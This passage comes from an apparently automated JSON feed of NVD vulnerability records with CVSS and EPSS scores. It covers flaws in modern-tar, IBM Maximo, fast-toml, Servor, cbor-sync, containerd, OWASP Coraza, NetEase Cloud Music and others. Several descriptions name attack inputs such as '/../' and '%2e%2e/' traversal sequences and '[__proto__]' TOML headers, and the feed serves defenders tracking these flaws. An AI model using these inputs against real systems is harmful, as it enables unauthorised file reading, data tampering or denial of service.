reversible encoding transform rather than actual encryption. Attackers can round-trip the stored value through the repository's own decode_string function with no secret key to obtain a fully authenticated Telegram session, granting complete control of the operator's Telegram account even when two-step verification is enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:11.310Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109426","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.0011,"percentile":0.01267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109426&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109426","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109426","type":"primary","publishedAt":"2026-10-12T21:17:11.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109426&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109426, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109380","cveId":"CVE-2026-109380","aliases":[],"kind":"vulnerability","title":"modern-tar 0.3.5 through 0.8.5 contains a memory exhaustion vulnerability that allows attackers to produce negative entry sizes via non-octal bytes parsed by readOctal().","summary":"modern-tar 0.3.5 through 0.8.5 contains a memory exhaustion vulnerability that allows attackers to produce negative entry sizes via non-octal bytes parsed by readOctal(). Attackers can supply a crafted, optionally gzip-compressed, archive to unpackTar() that buffers chunks indefinitely, exhausting process memory and suppressing later entries.","detail":"modern-tar 0.3.5 through 0.8.5 contains a memory exhaustion vulnerability that allows attackers to produce negative entry sizes via non-octal bytes parsed by readOctal(). Attackers can supply a crafted, optionally gzip-compressed, archive to unpackTar() that buffers chunks indefinitely, exhausting process memory and suppressing later entries.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:11.153Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109380","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00446,"percentile":0.3853,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109380","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109380","type":"primary","publishedAt":"2026-10-12T21:17:11.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105052","cveId":"CVE-2026-105052","aliases":[],"kind":"vulnerability","title":"IBM Maximo Application Suite 8.10, 8.11, 9.0, 9.1, and 9.2 could allow a remote attacker to traverse directories on the system.","summary":"IBM Maximo Application Suite 8.10, 8.11, 9.0, 9.1, and 9.2 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system.","detail":"IBM Maximo Application Suite 8.10, 8.11, 9.0, 9.1, and 9.2 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:08.300Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105052","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00416,"percentile":0.35582,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105052&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105052","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105052","type":"primary","publishedAt":"2026-10-12T21:17:08.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105052&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105052, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-48012","cveId":"CVE-2021-48012","aliases":[],"kind":"vulnerability","title":"fast-toml through 0.5.4 contains a prototype pollution vulnerability that allows attackers to modify Object.prototype by supplying TOML containing __proto__, constructor or...","summary":"fast-toml through 0.5.4 contains a prototype pollution vulnerability that allows attackers to modify Object.prototype by supplying TOML containing __proto__, constructor or prototype key segments. Attackers can pass [__proto__] or [constructor.prototype] table headers or __proto__.x dotted keys to parse() to pollute all objects, causing denial of service or authorization bypass.","detail":"fast-toml through 0.5.4 contains a prototype pollution vulnerability that allows attackers to modify Object.prototype by supplying TOML containing __proto__, constructor or prototype key segments. Attackers can pass [__proto__] or [constructor.prototype] table headers or __proto__.x dotted keys to parse() to pollute all objects, causing denial of service or authorization bypass.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:06.057Z","updatedAt":"2026-10-26T18:17:04.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-48012","asOf":"2026-10-26T18:17:04.217Z"},"epss":{"probability":0.00414,"percentile":0.35461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-48012&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2021-48012","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-48012","type":"primary","publishedAt":"2026-10-12T21:17:06.057Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-48012&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-48012, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-48011","cveId":"CVE-2021-48011","aliases":[],"kind":"vulnerability","title":"Servor 1.0.0 through 4.0.2 contains a path traversal vulnerability that allows unauthenticated remote attackers to escape the served root by sending URL-encoded dot segments.","summary":"Servor 1.0.0 through 4.0.2 contains a path traversal vulnerability that allows unauthenticated remote attackers to escape the served root by sending URL-encoded dot segments. Attackers can send %2e%2e/ sequences, which decodeURI() decodes before path.join() in serveStaticFile and serveDirectoryListing, to read arbitrary files and list directories outside the root.","detail":"Servor 1.0.0 through 4.0.2 contains a path traversal vulnerability that allows unauthenticated remote attackers to escape the served root by sending URL-encoded dot segments. Attackers can send %2e%2e/ sequences, which decodeURI() decodes before path.join() in serveStaticFile and serveDirectoryListing, to read arbitrary files and list directories outside the root.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:05.903Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-48011","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.0056,"percentile":0.46323,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-48011&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2021-48011","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-48011","type":"primary","publishedAt":"2026-10-12T21:17:05.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-48011&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-48011, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-37280","cveId":"CVE-2020-37280","aliases":[],"kind":"vulnerability","title":"cbor-sync through 1.0.4 contains a resource exhaustion vulnerability in CBOR.decode that trusts declared array and map lengths without checking remaining input.","summary":"cbor-sync through 1.0.4 contains a resource exhaustion vulnerability in CBOR.decode that trusts declared array and map lengths without checking remaining input. Remote attackers can supply a tiny crafted CBOR payload declaring huge lengths to drive billions of iterations, exhausting CPU and process memory.","detail":"cbor-sync through 1.0.4 contains a resource exhaustion vulnerability in CBOR.decode that trusts declared array and map lengths without checking remaining input. Remote attackers can supply a tiny crafted CBOR payload declaring huge lengths to drive billions of iterations, exhausting CPU and process memory.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:05.733Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-37280","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00538,"percentile":0.45008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-37280&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2020-37280","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-37280","type":"primary","publishedAt":"2026-10-12T21:17:05.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-37280&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-37280, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95837","cveId":"CVE-2026-95837","aliases":[],"kind":"vulnerability","title":"containerd is an open-source container runtime.","summary":"containerd is an open-source container runtime. From 2.1.0 until 2.2.7 and 2.3.4, containerd's CRI CreateContainer checkpoint restore is vulnerable because CRIU restores process security state from checkpoint data instead of enforcing the destination ContainerConfig. An attacker who can create a container from a crafted checkpoint can supply restored credentials, capabilities, no_new_privs, and seccomp state. The restored process can run as root with full capabilities and no enforced seccomp filters while CRI status reports the requested configuration. Systems that do not use CRI checkpoint restore are not affected. This issue is fixed in versions 2.2.7 and 2.3.4.","detail":"containerd is an open-source container runtime. From 2.1.0 until 2.2.7 and 2.3.4, containerd's CRI CreateContainer checkpoint restore is vulnerable because CRIU restores process security state from checkpoint data instead of enforcing the destination ContainerConfig. An attacker who can create a container from a crafted checkpoint can supply restored credentials, capabilities, no_new_privs, and seccomp state. The restored process can run as root with full capabilities and no enforced seccomp filters while CRI status reports the requested configuration. Systems that do not use CRI checkpoint restore are not affected. This issue is fixed in versions 2.2.7 and 2.3.4.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T20:17:10.420Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95837","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00106,"percentile":0.01109,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95837","type":"primary","publishedAt":"2026-10-12T20:17:10.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41510","cveId":"CVE-2026-41510","aliases":[],"kind":"vulnerability","title":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library.","summary":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.1, Coraza silently drops arguments after SecArgumentsLimit in internal/corazawaf/transaction.go, while internal/bodyprocessors/urlencoded.go writes ARGS_POST without enforcing the cap. The flaw is triggered when an unauthenticated attacker sends more arguments than SecArgumentsLimit or supplies bodies that expand beyond the configured argument and flattening budgets. An unauthenticated attacker can flood requests with arguments so excess values are silently omitted from ARGS, ARGS_GET, ARGS_NAMES, ARGS_GET_NAMES, ARGS_POST, or ARGS_PATH before security rules inspect them; affected urlencoded and JSON processing can also consume excessive memory. The omission can bypass WAF rules protecting the downstream application, and unbounded or amplified argument processing can cause memory consumption and service degradation. This issue is fixed in version 3.8.1.","detail":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.1, Coraza silently drops arguments after SecArgumentsLimit in internal/corazawaf/transaction.go, while internal/bodyprocessors/urlencoded.go writes ARGS_POST without enforcing the cap. The flaw is triggered when an unauthenticated attacker sends more arguments than SecArgumentsLimit or supplies bodies that expand beyond the configured argument and flattening budgets. An unauthenticated attacker can flood requests with arguments so excess values are silently omitted from ARGS, ARGS_GET, ARGS_NAMES, ARGS_GET_NAMES, ARGS_POST, or ARGS_PATH before security rules inspect them; affected urlencoded and JSON processing can also consume excessive memory. The omission can bypass WAF rules protecting the downstream application, and unbounded or amplified argument processing can cause memory consumption and service degradation. This issue is fixed in version 3.8.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T20:17:09.793Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41510","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00378,"percentile":0.31478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-41510&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41510","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41510","type":"primary","publishedAt":"2026-10-12T20:17:09.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41510&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-41510, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109424","cveId":"CVE-2026-109424","aliases":[],"kind":"vulnerability","title":"NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a weak encryption vulnerability where /eapi/ and /xeapi/ API response bodies are...","summary":"NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a weak encryption vulnerability where /eapi/ and /xeapi/ API response bodies are decrypted using a fixed, publicly documented AES-128-ECB key with no integrity credential. Attackers who can intercept or originate server responses can construct valid ciphertext under the known key with PKCS#7 padding, enabling the client to accept forged API responses that serve as a prerequisite for further exploitation such as reaching the os.navigateExternal bridge.","detail":"NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a weak encryption vulnerability where /eapi/ and /xeapi/ API response bodies are decrypted using a fixed, publicly documented AES-128-ECB key with no integrity credential. Attackers who can intercept or originate server responses can construct valid ciphertext under the known key with PKCS#7 padding, enabling the client to accept forged API responses that serve as a prerequisite for further exploitation such as reaching the os.navigateExternal bridge.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T20:17:09.143Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109424","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00156,"percentile":0.04726,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109424&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109424","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109424","type":"primary","publishedAt":"2026-10-12T20:17:09.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109424&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109424, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108361","cveId":"CVE-2026-108361","aliases":[],"kind":"vulnerability","title":"Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections.","summary":"Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. Before 0.9.1, an attacker with local access could modify workload code, data, and configuration at any time after successful connection establishment. Once Evidence was successfully appraised and the connection was established, there was a window of vulnerability from the establishment of the connection to the termination of the connection where an attacker could modify the state of the workload and platform at runtime on the TLS endpoint acting as the Attester. This vulnerability was possible because Privasys/ra-tls-clients performed attestation only once in the lifetime of the connection (at connection establishment time), and the verifying peer continued to believe that the state was the same as in the initial Evidence throughout, whereas it could be stale at some point in time. This vulnerability is fixed in 0.9.1.","detail":"Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. Before 0.9.1, an attacker with local access could modify workload code, data, and configuration at any time after successful connection establishment. Once Evidence was successfully appraised and the connection was established, there was a window of vulnerability from the establishment of the connection to the termination of the connection where an attacker could modify the state of the workload and platform at runtime on the TLS endpoint acting as the Attester. This vulnerability was possible because Privasys/ra-tls-clients performed attestation only once in the lifetime of the connection (at connection establishment time), and the verifying peer continued to believe that the state was the same as in the initial Evidence throughout, whereas it could be stale at some point in time. This vulnerability is fixed in 0.9.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T20:17:07.900Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108361","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00085,"percentile":0.00293,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108361&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108361","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108361","type":"primary","publishedAt":"2026-10-12T20:17:07.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 